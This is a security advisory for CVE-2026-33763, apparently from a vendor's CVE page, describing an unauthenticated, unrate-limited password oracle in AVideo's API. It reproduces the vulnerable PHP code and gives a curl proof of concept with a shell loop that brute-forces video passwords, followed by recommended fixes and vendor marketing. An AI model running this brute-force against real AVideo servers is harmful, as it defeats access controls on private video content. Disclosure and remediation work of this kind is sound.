CVE-2026-33763 is a medium-severity (CVSS 5.3) CWE-307 vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.
AVideo has an Unauthenticated Video Password Brute-Force Vulnerability via Unrate-Limited Boolean Oracle
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33763.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-33763 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The get_api_video_password_is_correct API endpoint allows any unauthenticated user to verify whether a given password is correct for any password-protected video. The endpoint returns a boolean passwordIsCorrect field with no rate limiting, CAPTCHA, or authentication requirement, enabling efficient offline-speed brute-force attacks against video passwords.
Details
The vulnerable endpoint is defined at plugin/API/API.php:1111-1133:
public function get_api_video_password_is_correct($parameters)
{
$obj = new stdClass();
$obj->videos_id = intval($parameters['videos_id']);
$obj->passwordIsCorrect = true;
$error = true;
$msg = '';
if (!empty($obj->videos_id)) {
$error = false;
$video = new Video('', '', $obj->videos_id);
$password = $video->getVideo_password();
if (!empty($password)) {
$obj->passwordIsCorrect = $password == $parameters['video_password'];
}
} else {
$msg = 'Videos id is required';
}
return new ApiObject($msg, $error, $obj);
}
The get() dispatcher at API.php:191-209 routes GET requests directly to this method without any authentication enforcement:
public function get($parameters) {
// ... optional user login if credentials provided ...
$APIName = $parameters['APIName'];
if (method_exists($this, "get_api_$APIName")) {
$str = "\$object = \$this->get_api_$APIName(\$parameters);";
eval($str);
}
}
The application has a checkRateLimit() mechanism (line 5737) that is applied to user registration (line 4232) and user deactivation (line 5705), but is not applied to this password verification endpoint.
Additionally, video passwords are stored in plaintext (objects/video.php:523-527):
public function setVideo_password($video_password) {
AVideoPlugin::onVideoSetVideo_password($this->id, $this->video_password, $video_password);
$this->video_password = trim($video_password);
}
The comparison at line 1125 uses loose equality (==) rather than strict equality (===).
PoC
Step 1: Identify a password-protected video
curl -s "http://localhost/plugin/API/get.json.php?APIName=video&videos_id=1" | jq '.response.rows[0].video_password'
A non-empty value (e.g., "1") indicates the video is password-protected.
Step 2: Test incorrect password (oracle returns false)
curl -s "http://localhost/plugin/API/get.json.php?APIName=video_password_is_correct&videos_id=1&video_password=wrongguess"
Expected response:
{"response":{"videos_id":1,"passwordIsCorrect":false},"error":false}
Step 3: Brute-force the password
for pw in password 123456 secret admin test video1 qwerty; do
result=$(curl -s "http://localhost/plugin/API/get.json.php?APIName=video_password_is_correct&videos_id=1&video_password=$pw" | jq -r '.response.passwordIsCorrect')
echo "$pw: $result"
[ "$result" = "true" ] && echo "FOUND: $pw" && break
done
No rate limiting is encountered regardless of request volume.
Step 4: Unlock the video with the discovered password
curl -s "http://localhost/view/video.php?v=1&video_password=DISCOVERED_PASSWORD" -c cookies.txt
The password is stored in the session (CustomizeUser.php:806-807) granting persistent access.
Impact
An attacker can brute-force the password of any password-protected video on the platform without authentication. Since video passwords are typically simple shared secrets (not per-user credentials), common password dictionaries are likely to succeed quickly. Successful exploitation bypasses the access control for password-protected content, which may include commercially sensitive, private, or restricted video content. The lack of any rate limiting means an attacker can test thousands of passwords per second.
Recommended Fix
- Add rate limiting to the endpoint using the existing
checkRateLimit()mechanism:
public function get_api_video_password_is_correct($parameters)
{
$this->checkRateLimit('video_password_check', 5, 300); // 5 attempts per 5 minutes per IP
$obj = new stdClass();
$obj->videos_id = intval($parameters['videos_id']);
// ... rest of existing code
}
- Hash video passwords using
password_hash()/password_verify()instead of plaintext storage and loose comparison:
// In setVideo_password:
$this->video_password = password_hash(trim($video_password), PASSWORD_DEFAULT);
// In the check endpoint:
$obj->passwordIsCorrect = password_verify($parameters['video_password'], $password);
- Use strict comparison (
===) if plaintext passwords must be retained temporarily during migration.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of wwbn/avideo has shipped for CVE-2026-33763 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-33763 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-33763. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-33763 in your dependencies?
O3 Security finds CVE-2026-33763 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.